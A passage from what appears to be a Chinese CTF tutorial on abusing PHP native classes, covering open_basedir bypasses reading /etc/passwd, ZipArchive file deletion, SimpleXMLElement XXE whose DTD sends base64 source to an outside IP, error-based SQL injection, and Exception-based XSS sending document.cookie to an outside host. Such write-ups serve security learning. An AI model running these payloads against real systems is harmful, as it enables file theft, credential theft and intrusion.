0x01 前言 在base
和其他部分赛题中遇到了几道原生类的利用刚好,我在计划中也有此打算进行学习以及利用,那么就来看看吧
0x02 question 了解原生类
PHP 作为一门广泛应用于 Web 开发的脚本语言,它的目标是帮助开发者快速构建功能丰富的应用程序。因此,它提供了大量的原生类和函数,通过这些类的调用,PHP 开发者可以轻松处理文件、数据库、网络请求、加密等多种任务,极大地提升了开发效率。
所以说其实是有很多原生类的,包括算法\压缩\json\xml\图像等等,很多,大家可以自己去深入研究,这里的话只提及我们平时能够进行利用,达到任意文件读取\ssrf等攻击手段的原生类
原生类的利用 反射 ReflectionMethod 利用版本:(PHP 5, PHP 7)
ReflectionMethod
是 PHP 提供的反射类之一,用于获取类中某个具体方法的详细信息。
常见方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 (new ReflectionMethod ("class?" ,"method?" ))->invoke (new [class ?]/NULL (静态类),args1,args2); (new ReflectionMethod ("class?" ,"method?" ))->invokeArgs (new [class ?]/NULL (静态类,[args1,args2])); $f = new ReflectionMethod ("class?" ,"method?" );$f ->setAccessible (true );$f ->invoke (new [class ?]);(new [class ?])->[method ?](); // 会报错 # 获取函数信息 (new ReflectionMethod ("class ?","method ?"))->getDeclaringClass () // 获取反射方法的类作为反射类返回 (new ReflectionMethod ("class ?","method ?"))->isAbstract () // 方法是否是抽象方法 (new ReflectionMethod ("class ?","method ?"))->isConstructor () // 方法是否是 __construct (new ReflectionMethod ("class ?","method ?"))->isDestructor () // 方法是否是 __destruct (new ReflectionMethod ("class ?","method ?"))->isFinal () // 方法是否定义了final (new ReflectionMethod ("class ?","method ?"))->isPrivate () // 方法是否是私有方法 (new ReflectionMethod ("class ?","method ?"))->isProtected () // 方法是否是受保护方法 (new ReflectionMethod ("class ?","method ?"))->isPublic () // 方法是否是公有方法 (new ReflectionMethod ("class ?","method ?"))->isStatic () // 方法是否是静态方法 (new ReflectionMethod ("class ?","method ?"))->getDocComment () // 获取方法注释内容 (new ReflectionMethod ("class ?","method ?"))->getStartLine () // 获取方法开始行号 (new ReflectionMethod ("class ?","method ?"))->getEndLine () // 获取方法结束行号 (new ReflectionMethod ("class ?","method ?"))->getExtensionName () // 获取扩展名称 (new ReflectionMethod ("class ?","method ?"))->getName () // 获取方法名称 (new ReflectionMethod ("class ?","method ?"))->getNamespaceName () // 获取命名空间名称 (new ReflectionMethod ("class ?","method ?"))->getNumberOfParameters () // 获取方法参数数量 (new ReflectionMethod ("class ?","method ?"))->getNumberOfRequiredParameters () // 获取方法必须传入的参数数量 (new ReflectionMethod ("class ?","method ?"))->getParameters () // 获取方法参数名 (new ReflectionMethod ("class ?","method ?"))->getShortName () // 获取方法短名 (new ReflectionMethod ("class ?","method ?"))->getStaticVariables () // 获取方法静态变量 (new ReflectionMethod ("class ?","method ?"))->hasReturnType () // 方法是否有特定返回类型 (new ReflectionMethod ("class ?","method ?"))->inNamespace () // 方法是否定义在命名空间 (new ReflectionMethod ("class ?","method ?"))->isClosure () // 方法是否是匿名函数 (new ReflectionMethod ("class ?","method ?"))->isDeprecated () // 方法是否弃用 (new ReflectionMethod ("class ?","method ?"))->isGenerator () // 方法是否是生成器函数 (new ReflectionMethod ("class ?","method ?"))->isInternal () // 方法是否是内部函数 (new ReflectionMethod ("class ?","method ?"))->isUserDefined () // 方法是否是用户定义
[2021 CISCN]easy_source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 <?php show_source (__FILE__ );class User { private static $c = 0 ; function a ( ) { return ++self ::$c ; } function b ( ) { return ++self ::$c ; } function c ( ) { return ++self ::$c ; } function d ( ) { return ++self ::$c ; } function e ( ) { return ++self ::$c ; } function f ( ) { return ++self ::$c ; } function g ( ) { return ++self ::$c ; } function h ( ) { return ++self ::$c ; } function i ( ) { return ++self ::$c ; } function j ( ) { return ++self ::$c ; } function k ( ) { return ++self ::$c ; } function l ( ) { return ++self ::$c ; } function m ( ) { return ++self ::$c ; } function n ( ) { return ++self ::$c ; } function o ( ) { return ++self ::$c ; } function p ( ) { return ++self ::$c ; } function q ( ) { return ++self ::$c ; } function r ( ) { return ++self ::$c ; } function s ( ) { return ++self ::$c ; } function t ( ) { return ++self ::$c ; } } $rc =$_GET ["rc" ]; $rb =$_GET ["rb" ]; $ra =$_GET ["ra" ]; $rd =$_GET ["rd" ]; $method = new $rc ($ra , $rb ); var_dump ($method ->$rd ());
先扫描出这个关键文件之后,可以看到什么都没有,很明显是原生类的利用
这个是进行User
类方法的调用,因为$c
是一个静态属性嘛,每次触发一个方法就++
,最后是可以把所有方法遍历的,那么我们可以大胆猜测flag
在注释中,利用ReflectionMethod
类,最后找到是在q
里面
1 ?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
这么传刚好也就形成了我们说的那个
1 var_dump (new ReflectionMethod ("User" ,"q" ))->getDocComment
成功读取到了flag
ReflectionClass 利用版本:(PHP 5, PHP 7)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 (new ReflectionClass ("class?" ))->getStaticProperties (); (new ReflectionClass ("class?" ))->getStaticPropertyValue ("key?" ,"default_value?" ); (new ReflectionClass ("class?" ))->setStaticPropertyValue ("key?" ,"value?" ); (new ReflectionClass ("class?" ))->getProperties (); (new ReflectionClass ("class?" ))->getProperty ("key?" ) $c = new ReflectionClass ('ReflectionFunction' );$iv = $c ->newInstance ('phpinfo' );$ia = $c ->newInstanceArgs (array ('phpinfo' ));$ie = $c ->newInstanceWithoutConstructor (); (new ReflectionClass ("class?" ))->export (); (new ReflectionClass ("class?" ))->getConstant (string $name ) (new ReflectionClass ("class?" ))->getConstants (?int $filter = null ) (new ReflectionClass ("class?" ))->getConstructor () (new ReflectionClass ("class?" ))->getDefaultProperties () (new ReflectionClass ("class?" ))->getDocComment () (new ReflectionClass ("class?" ))->getStartLine () (new ReflectionClass ("class?" ))->getEndLine () (new ReflectionClass ("class?" ))->getExtensionName () (new ReflectionClass ("class?" ))->getFileName () (new ReflectionClass ("class?" ))->getInterfaceNames () (new ReflectionClass ("class?" ))->getInterfaces () (new ReflectionClass ("class?" ))->getMethod (string $name ) (new ReflectionClass ("class?" ))->getMethods () (new ReflectionClass ("class?" ))->getModifiers () (new ReflectionClass ("class?" ))->getName () (new ReflectionClass ("class?" ))->getNamespaceName () (new ReflectionClass ("class?" ))->getParentClass () (new ReflectionClass ("class?" ))->getReflectionConstant () (new ReflectionClass ("class?" ))->getReflectionConstants () (new ReflectionClass ("class?" ))->getShortName () (new ReflectionClass ("class?" ))->getTraitAliases () (new ReflectionClass ("class?" ))->getTraitNames () (new ReflectionClass ("class?" ))->getTraits () (new ReflectionClass ("class?" ))->hasConstant (string $name ) (new ReflectionClass ("class?" ))->hasMethod (string $name ) (new ReflectionClass ("class?" ))->implementsInterface (string $interface ) (new ReflectionClass ("class?" ))->inNamespace () (new ReflectionClass ("class?" ))->isAbstract () (new ReflectionClass ("class?" ))->isAnonymous () (new ReflectionClass ("class?" ))->isCloneable () (new ReflectionClass ("class?" ))->isFinal () (new ReflectionClass ("class?" ))->isInternal () (new ReflectionClass ("class?" ))->isIterable () (new ReflectionClass ("class?" ))->isIterateable () (new ReflectionClass ("class?" ))->isSubclassOf (string $class ) (new ReflectionClass ("class?" ))->isTrait () (new ReflectionClass ("class?" ))->isUserDefined ()
ReflectionFunctionAbstract 这个是ReflectionFunction
和 ReflectionMethod
的父类,所以想着看看有什么方法,但是没想到这个反射类基本方法都是差不多甚至是一模一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 (new ReflectionFunctionAbstract ("function?" ))->getParameters (); (new ReflectionFunctionAbstract ("function?" ))->getReturnType (); (new ReflectionFunctionAbstract ("function?" ))->getStartLine (); (new ReflectionFunctionAbstract ("function?" ))->getEndLine (); (new ReflectionFunctionAbstract ("function?" ))->getDocComment (); (new ReflectionFunctionAbstract ("function?" ))->getStaticVariables (); (new ReflectionFunctionAbstract ("function?" ))->invoke ($arg1 , $arg2 ); (new ReflectionFunctionAbstract ("function?" ))->invokeArgs (array $args ); (new ReflectionFunctionAbstract ("function?" ))->returnsReference (); (new ReflectionFunctionAbstract ("function?" ))->isClosure (); (new ReflectionFunctionAbstract ("function?" ))->isGenerator (); (new ReflectionFunctionAbstract ("function?" ))->isInternal (); (new ReflectionFunctionAbstract ("function?" ))->isUserDefined (); (new ReflectionFunctionAbstract ("function?" ))->getName (); (new ReflectionFunctionAbstract ("function?" ))->export ('function?' , true );
文件处理 ZipArchive 这个单独列出来是因为既可以目录又可以文件,直接给poc了
删除文件 1 2 $a =new ZipArchive ();$a ->open ("file" , ZipArchive ::OVERWRITE );
注意这里的file
是填写zip
文件路径
读取文件 1 2 3 4 5 6 7 8 $f = "flag" ;$zip =new ZipArchive ();$zip ->open ("a.zip" , ZipArchive ::CREATE );$zip ->addFile ($f );$zip ->close ();$zip ->open ("a.zip" );echo $zip ->getFromName ($f );$zip ->close ();
有损写文件 用处不大
1 2 3 4 5 6 7 $f = "flag" ;$zip =new ZipArchive ();$zip ->open ("a.zip" , ZipArchive ::CREATE );$zip ->setArchiveComment ("<?php phpinfo();?>" );$zip ->addFromString ("file" , "" );$zip ->close ();
目录 DirectoryIterator 利用版本PHP5, PHP7, PHP8
我们可以利用这个类来遍历或者是使用glob
,直接寻找想要的文件
查找f
开头的文件
1 2 3 4 <?php $dir =new DirectoryIterator ("glob:///f*" );echo $dir ;
遍历根目录的文件名
1 2 3 4 5 6 <?php $dir =new DirectoryIterator ("/" );foreach ($dir as $a ){ echo $a .'<br>' ; }
当然这仅仅只是Demo深入其中我们查询官方文档,可以看到其中也是有很多方法,但是我们注重看我们使用的这个
也就是说其实我们是调用了其中的__toString()
,所以正经的写法是这样子
1 2 3 4 5 6 <?php $dir =new DirectoryIterator ("/" );foreach ($dir as $a ){ echo $a ->__toString ().'<br>' ; }
但是我们不写的话由于echo
和var_dump
也会自动调用这个方法
payload
1 $d=new DirectoryIterator("/");foreach($d as $a){echo $a.'<br>';}
Filesystemlterator 利用版本,PHP 5 >= 5.3.0, PHP 7, PHP 8
这个类和DirectoryIterator 是孪生兄弟,一样的不写了就
1 $d=new FilesystemIterator("/");foreach($d as $a){echo $a.'<br>';}
GlobIterator 继承于DirectoryIterator 而且自带了glob
,一测便知
利用版本,PHP 5 >= 5.3.0, PHP 7, PHP 8
1 2 3 4 5 6 <?php $dir =new GlobIterator ("/*" );foreach ($dir as $a ){ echo $a ->__toString ().'<br>' ; }
遍历根目录的文件
payload
1 $d=new GlobIterator("/*");foreach($d as $a){echo $a.'<br>';}
文件内容 SplFileObject 1 2 3 4 5 <?php $content =new SplFileObject ('/flag' );foreach ($content as $content ){ echo $content ."<br>" ; }
相当于是file_get_contents()
,但是这个是类同样是使用__toString
方法进行读取的
绕过open_basedir open_basedir
是 PHP 中的一项安全配置,用于限制脚本访问的文件系统路径。它可以防止 PHP 脚本访问不允许的目录,从而增强服务器的安全性。但是其实是有方法可以绕过进行任意文件目录\文件读取
DirectoryIterator+glob 然后我们写个demo
(P牛的代码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php printf ('<b>open_basedir : %s </b><br />' , ini_get ('open_basedir' ));$file_list = array ();$it = new DirectoryIterator ("glob:///*" );foreach ($it as $f ) { $file_list [] = $f ->__toString (); } $it = new DirectoryIterator ("glob:///.*" );foreach ($it as $f ) { $file_list [] = $f ->__toString (); } sort ($file_list );foreach ($file_list as $f ){ echo "{$f} <br/>" ; } ?>
但是这个好像对版本有要求,我现在如果在ini中设置了open_basedir
是不能通了(7.3.4)
realpath
Realpath函数是php中将一个路径规范化成为绝对路径的方法,它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。
在开启了open_basedir以后,这个函数有个特点:当我们传入的路径是一个不存在的文件(目录)时,它将返回false;当我们传入一个不在open_basedir里的文件(目录)时,他将抛出错误(File is not within the allowed path(s))。
根据抛出的错误做一个分流就可以暴力猜解文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php ini_set ('open_basedir' , dirname (__FILE__ ));printf ("<b>open_basedir: %s</b><br />" , ini_get ('open_basedir' ));set_error_handler ('isexists' );$dir = 'd:/blog/' ;$file = '' ;$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_' ;for ($i =0 ; $i < strlen ($chars ); $i ++) { $file = $dir . $chars [$i ] . '<><' ; realpath ($file ); } function isexists ($errno , $errstr ) { $regexp = '/File\((.*)\) is not within/' ; preg_match ($regexp , $errstr , $matches ); if (isset ($matches [1 ])) { printf ("%s <br/>" , $matches [1 ]); } } ?>
主要看看函数这里
1 2 $regexp = '/File\((.*)\) is not within/' ;preg_match ($regexp , $errstr , $matches );
首先就是利用正则来匹配文件,如果匹配到了错误,那么$mathes
就会得到值,
而其内部其实是这样
1 2 3 4 $matches = [ 0 => 'File(C:\Windows\System32\drivers\etc\hosts) is not within', 1 => 'C:\Windows\System32\drivers\etc\hosts' ];
所以就能得到文件路径(本地是通了的这个)
其中还有很多类似的通过暴力破解的方法,详情可以看p牛的博客
https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html
类似的有bindtextdomain()
,SplFileInfo::getRealPath()
,imageftbbox()
还是挺多的
ini_set() + 相对路径
由于open_basedir自身的问题,设置为相对路径..
在解析的时候会致使自身向上跳转一层
以此类推就可以达到理想路径进行文件读取了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php show_source (__FILE__ ); ini_get ('open_basedir' ); mkdir ('test' ); chdir ('test' ); ini_set ('open_basedir' ,'..' ); chdir ('..' ); chdir ('..' ); chdir ('..' ); ini_set ('open_basedir' ,'/' ); echo file_get_contents ('/etc/passwd' ); ?>
shell 1 2 3 4 5 <?php show_source (__FILE__ ); ini_get ('open_basedir' ); system ('cat /etc/passwd' ); ?>
这样的payload可以直接打,无限制
symlink() 进行文件常见符号链接,软链接知道吧,差不多是这个意思,取个别名
1 bool symlink ( string $target , string $link )
$target :指向的目标文件或目录的路径,即符号链接指向的实际文件或目录。
$link :符号链接的路径名称,即创建的符号链接的名称。
1 symlink ('/var/www/html' , './bao' );
这个时候访问bao
就相当于访问/var/www/html
那么可以利用的poc,也就是通过路径的伪装来绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php mkdir ("A" );chdir ("A" );mkdir ("B" );chdir ("B" );mkdir ("C" );chdir ("C" );mkdir ("D" );chdir ("D" );chdir (".." );chdir (".." );chdir (".." );chdir (".." );symlink ("A/B/C/D" ,"bao" );symlink ("bao/../../../../etc/passwd" ,"POC" );unlink ("bao" );mkdir ("bao" );system ("cat POC" );?>
那么这个poc
就可以读取文件/etc/passwd
,为什么是四层呢,因为本身我们在的目录是
/var/www/html
,所以至少是四层,但是会有个疑问对吧,不是说好的bao
相当于是A/B/C/D
嘛,这四层也仅仅只能回退到/var/www/html
里面啊
1 2 3 4 root@dkcjbRCL8kgaNGz:/var/www/html# ls 7.php A POC bao index.nginx-debian.html test.dtd root@dkcjbRCL8kgaNGz:/var/www/html# cd bao/../../../../etc root@dkcjbRCL8kgaNGz:/etc#
这个弄了半天好似理解了,就相当于是在相对路径里面夹杂了绝对路径,所以测试的时候也是成功了
xxe SimpleXMLElement 可以利用这个原生类进行xxe
攻击
1 $x =new SimpleXMLElement ("http://xxx.xxx.xxx.xxx/evil.xml" ,2 ,true );
当确定为true
时,会当成xml
文档解析,这不就典型xxe
了嘛,所以只要xxe
,能打的都能打
demo [SUCTF 2018]Homework
注册账号登录之后得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class calc { function __construct__ ( ) { calc (); } function calc ($args1 ,$method ,$args2 ) { $args1 =intval ($args1 ); $args2 =intval ($args2 ); switch ($method ) { case 'a' : $method ="+" ; break ; case 'b' : $method ="-" ; break ; case 'c' : $method ="*" ; break ; case 'd' : $method ="/" ; break ; default : die ("invalid input" ); } $Expression =$args1 .$method .$args2 ; eval ("\$r=$Expression ;" ); die ("Calculation results:" .$r ); } } ?>
再度进入页面之后知道
1 /show.php?module=calc&args[]=2&args[]=a&args[]=2
module
是调用的类,那么我们构造payload
1 /show.php?module=SimpleXMLElement&args[]=http://27.25.151.48:12138/poc.xml&args[]=2&args[]=true
poc.xml
1 2 3 4 <!DOCTYPE try [ <!ENTITY % int SYSTEM "http://27.25.151.48:12138/poc.dtd" > %int; ]>
poc.dtd
1 2 3 4 <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" > <!ENTITY % all "<!ENTITY % send SYSTEM 'http://27.25.151.48:9999/?%payl;'>" > %all; %send;
然后监听得到源码
1 2 3 4 5 6 7 8 9 10 11 12 <?php include ("function.php" ); include ("config.php" ); $username =w_addslashes ($_COOKIE ['user' ]); $check_code =$_COOKIE ['cookie-check' ]; $check_sql ="select password from user where username='" .$username ."'" ; $check_sum =md5 ($username .sql_result ($check_sql ,$mysql )['0' ]['0' ]); if ($check_sum !==$check_code ){ header ("Location: login.php" ); } ?>
把dtd
改改然后接着读就可以了
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php function sql_result ($sql ,$mysql ) { if ($result =mysqli_query ($mysql ,$sql )){ $result_array =mysqli_fetch_all ($result ); return $result_array ; }else { echo mysqli_error ($mysql ); return "Failed" ; } } function upload_file ($mysql ) { if ($_FILES ){ if ($_FILES ['file' ]['size' ]>2 *1024 *1024 ){ die ("File is larger than 2M, forbidden upload" ); } if (is_uploaded_file ($_FILES ['file' ]['tmp_name' ])){ if (!sql_result ("select * from file where filename='" .w_addslashes ($_FILES ['file' ]['name' ])."'" ,$mysql )){ $filehash =md5 (mt_rand ()); if (sql_result ("insert into file(filename,filehash,sig) values('" .w_addslashes ($_FILES ['file' ]['name' ])."','" .$filehash ."'," .(strrpos (w_addslashes ($_POST ['sig' ]),")" )?"" :w_addslashes ($_POST ['sig' ])).")" ,$mysql )=="Failed" ) die ("Upload failed" ); $new_filename ="./upload/" .$filehash .".txt" ; move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $new_filename ) or die ("Upload failed" ); die ("Your file " .w_addslashes ($_FILES ['file' ]['name' ])." upload successful." ); }else { $hash =sql_result ("select filehash from file where filename='" .w_addslashes ($_FILES ['file' ]['name' ])."'" ,$mysql ) or die ("Upload failed" ); $new_filename ="./upload/" .$hash [0 ][0 ].".txt" ; move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $new_filename ) or die ("Upload failed" ); die ("Your file " .w_addslashes ($_FILES ['file' ]['name' ])." upload successful." ); } }else { die ("Not upload file" ); } } } function w_addslashes ($string ) { return addslashes (trim ($string )); } function do_api ($module ,$args ) { $class = new ReflectionClass ($module ); $a =$class ->newInstanceArgs ($args ); } ?>
config.php
1 2 3 4 5 6 7 8 <?php $db ="calc" ; $dbusername ="suctf" ; $dbpassword ="suctf" ; $host ="127.0.0.1" ; $mysql =mysqli_connect ($host ,$dbusername ,$dbpassword ,$db ) or die ("connect failed" ); ?>
可以看到是个SQL注入
show.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include ("function.php" ); include ("config.php" ); include ("calc.php" ); if (isset ($_GET ['action' ])&&$_GET ['action' ]=="view" ){ if ($_SERVER ["REMOTE_ADDR" ]!=="127.0.0.1" ) die ("Forbidden." ); if (!empty ($_GET ['filename' ])){ $file_info =sql_result ("select * from file where filename='" .w_addslashes ($_GET ['filename' ])."'" ,$mysql ); $file_name =$file_info ['0' ]['2' ]; echo ("file code: " .file_get_contents ("./upload/" .$file_name .".txt" )); $new_sig =mt_rand (); sql_result ("update file set sig='" .intval ($new_sig )."' where id=" .$file_info ['0' ]['0' ]." and sig='" .$file_info ['0' ]['3' ]."'" ,$mysql ); die ("<br>new sig:" .$new_sig ); }else { die ("Null filename" ); } } $username =w_addslashes ($_COOKIE ['user' ]); $check_code =$_COOKIE ['cookie-check' ]; $check_sql ="select password from user where username='" .$username ."'" ; $check_sum =md5 ($username .sql_result ($check_sql ,$mysql )['0' ]['0' ]); if ($check_sum !==$check_code ){ header ("Location: login.php" ); } $module =$_GET ['module' ]; $args =$_GET ['args' ]; do_api ($module ,$args ); ?>
他这里有个转义函数,所以我们用16进制绕过
1 2 3 '||extractvalue(1,concat(0x7e,(select (flag) from flag),0x7e))||' 0x277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c6563742028666c6167292066726f6d20666c6167292c3078376529297c7c27
这里注意了注入参数是sig,所以我试了好久,原因
1 sql_result ("update file set sig='" .intval ($new_sig )."' where id=" .$file_info ['0' ]['0' ]." and sig='" .$file_info ['0' ]['3' ]."'" ,$mysql );
最先我看到了filename也有然后就一直打,后来发现filename的结果不返回啊
然后修改
1 2 3 4 <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=6.txt" > <!ENTITY % all "<!ENTITY % send SYSTEM 'http://27.25.151.48:9999/?%payl;'>" > %all; %send;
1 /show.php?module=SimpleXMLElement&args[]=http://27.25.151.48:12138/poc.xml&args[]=2&args[]=true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /submit.php HTTP/1.1 Host: cfc14c63-0d85-4cb5-b597-f99c05249821.node5.buuoj.cn:81 Content-Length: 404 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://cfc14c63-0d85-4cb5-b597-f99c05249821.node5.buuoj.cn:81 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary50xpARCP4aIhe1PB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://cfc14c63-0d85-4cb5-b597-f99c05249821.node5.buuoj.cn:81/submit.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: cookie-check=6a9d3dc94565cd88dc0f0ec6f6538c6a; user=bao Connection: close ------WebKitFormBoundary50xpARCP4aIhe1PB Content-Disposition: form-data; name="file"; filename="9.txt" Content-Type: text/plain 123 ------WebKitFormBoundary50xpARCP4aIhe1PB Content-Disposition: form-data; name="sig" 0x277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c6563742028666c6167292066726f6d20666c6167292c3078376529297c7c27 ------WebKitFormBoundary50xpARCP4aIhe1PB--
说实话这个demo给我自己都折磨了一会,网上的垃圾工具,字符串转16进制给我空格吞了,导致一直不成功,报错注入应该会吧,
1 2 3 '||extractvalue(1,concat(0x7e,(select right(flag,20) from flag),0x7e))||' 0x277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c65637420726967687428666c61672c3230292066726f6d20666c6167292c3078376529297c7c27
1 2 3 4 5 file code: 123XPATH syntax error: '~flag{ddc9686e-d0c0-489e-99f3-23'<br>new sig:2013105070 file code: 123XPATH syntax error: '~e-99f3-23eb9ad18c97}~'<br>new sig:1181727055 flag{36b20a1e-3b1e-4c56-89e9-6677da259211}
中途出现了一点其他的知识但是最重要的漏洞就是这个xxe
类的使用
xxs Error/Exception Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。并且是开启报错的情况
这两个内置类都差不多,所以干脆放一起
这两个类的属性
message:错误消息内容
code:错误代码
file:抛出错误的文件名
line:抛出错误在该文件中的行数
先随便写个demo
1 2 3 4 <?php show_source (__FILE__ );$a =unserialize ($_GET ['a' ]);echo $a ;
然后写个poc
,只要是xss
的payload
都可以通过这两个类进行实现
1 2 3 <?php $a =new Error ("<script>alert('xss')</script>" );echo urlencode (serialize ($a ));
或者是另一个
1 2 3 <?php $a =new Exception ("<script>alert('xss')</script>" );echo urlencode (serialize ($a ));
只要是xss
能做的都能做,看看是这两个类中的什么方法导致的呢,众所周知echo
是来触发__toString()
的但是我们进入方法看看
1 2 3 4 5 6 7 8 9 10 11 zend_string *message = zval_get_string(GET_PROPERTY(exception, ZEND_STR_MESSAGE)); if ((Z_OBJCE_P(exception) == zend_ce_type_error || Z_OBJCE_P(exception) == zend_ce_argument_count_error) && strstr (ZSTR_VAL(message), ", called in " )) { zend_string *real_message = zend_strpprintf_unchecked(0 , "%S and defined" , message); zend_string_release_ex(message, 0 ); message = real_message; } RETURN_STR(str); 这里再放回
所以成功的插入恶意的xss
代码
demo [BJDCTF 2nd]xss之光
扫描一下找到git
恢复一下
1 python GitHack.py http://7e43e9af-3b17-47b3-9532-11cfbaef99d7.node5.buuoj.cn:81/.git/
1 2 3 <?php $a = $_GET ['yds_is_so_beautiful' ];echo unserialize ($a );
那么回去找网站,找不到什么东西,先尝试打cookie
1 2 3 <?php $a =new Exception ("<script>window.open('http://27.25.151.48:9999/'+document.cookie)</script>" );echo urlencode (serialize ($a ));
1 ?yds[is_so_beautiful=O%3 A9%3 A%22 Exception %22 %3 A7%3 A%7 Bs%3 A10%3 A%22 %00 %2 A%00 message%22 %3 Bs%3 A73%3 A%22 %3 Cscript%3 Ewindow.open%28 %27 http%3 A%2 F%2 F27.25.151 .48 %3 A9999%2 F%27 %2 Bdocument.cookie%29 %3 C%2 Fscript%3 E%22 %3 Bs%3 A17%3 A%22 %00 Exception %00 string %22 %3 Bs%3 A0%3 A%22 %22 %3 Bs%3 A7%3 A%22 %00 %2 A%00 code%22 %3 Bi%3 A0%3 Bs%3 A7%3 A%22 %00 %2 A%00 file%22 %3 Bs%3 A54%3 A%22 C%3 A%5 CUsers%5 Cbaozhongqi%5 CDocuments%5 CVSCODE%5 C.vscode%5 Cphp%5 C1.php%22 %3 Bs%3 A7%3 A%22 %00 %2 A%00 line%22 %3 Bi%3 A2%3 Bs%3 A16%3 A%22 %00 Exception %00 trace%22 %3 Ba%3 A0%3 A%7 B%7 Ds%3 A19%3 A%22 %00 Exception %00 previous%22 %3 BN%3 B%7 D
成功拿到flag
,我想着要是还拿不到的话就直接打源码了,但是所幸拿到了
绕过hash Error/Exception Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。
利用类的__toString()
抛出错误,返回数据
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $str ='baozongwi' ;$a =new Error ($str ,1 );$b =new Error ($str ,1 );echo $a ;echo $b ;?>
这里当我们写在不同行的时候发现并不等,但是如果我们写在同一行中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $str ='baozongwi' ;$a =new Error ($str ,1 );$b =new Error ($str ,3 );if ( ($a != $b ) && (md5 ($a ) === md5 ($b )) && (sha1 ($a )=== sha1 ($b )) ){ echo 1 ; }
深究其本质,当我们对一个对象调用 md5()
或 sha1()
时,PHP 会将对象序列化成字符串,并基于该字符串计算哈希值。但是由于 Error
类在实现字符串化方法(__toString
)时,可能只是返回对象的错误消息 message
属性,而忽略了 code
等其他属性。
所以直接比较的话没有忽略属性,是不等的,而哈希比较的话是相等的
1 2 3 4 <?php $a = new Error ('baozongwi' , 1 );$b = new Error ('baozongwi' , 3 );echo md5 ($a )."\n" ; echo md5 ($b );
那么来个demo
[极客大挑战 2020]Greatphp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } if (isset ($_GET ['great' ])){ unserialize ($_GET ['great' ]); } else { highlight_file (__FILE__ ); } ?>
md5好绕过了,取反得到flag
1 2 3 <?php echo urlencode (~'/flag' );?>
写个poc
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class SYCLOVER { public $syc ; public $lover ; } $str ="?><?=include~" .urldecode ("%d0%99%93%9e%98" )."?><?" ;$a =new Error ($str ,1 );$b =new Error ($str ,2 );$c =new SYCLOVER ();$c ->syc = $a ;$c ->lover = $b ;echo urlencode (serialize ($c ));?>
这里的绕过hash知识使用Exception
也是同样能够达到目的的
ssrf SoapClient
SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP 协议访问Web服务的 PHP 客户端。该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call
触发很简单,就是当对象访问不存在的方法的时候就会触发。
该类的构造函数如下:
1 public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
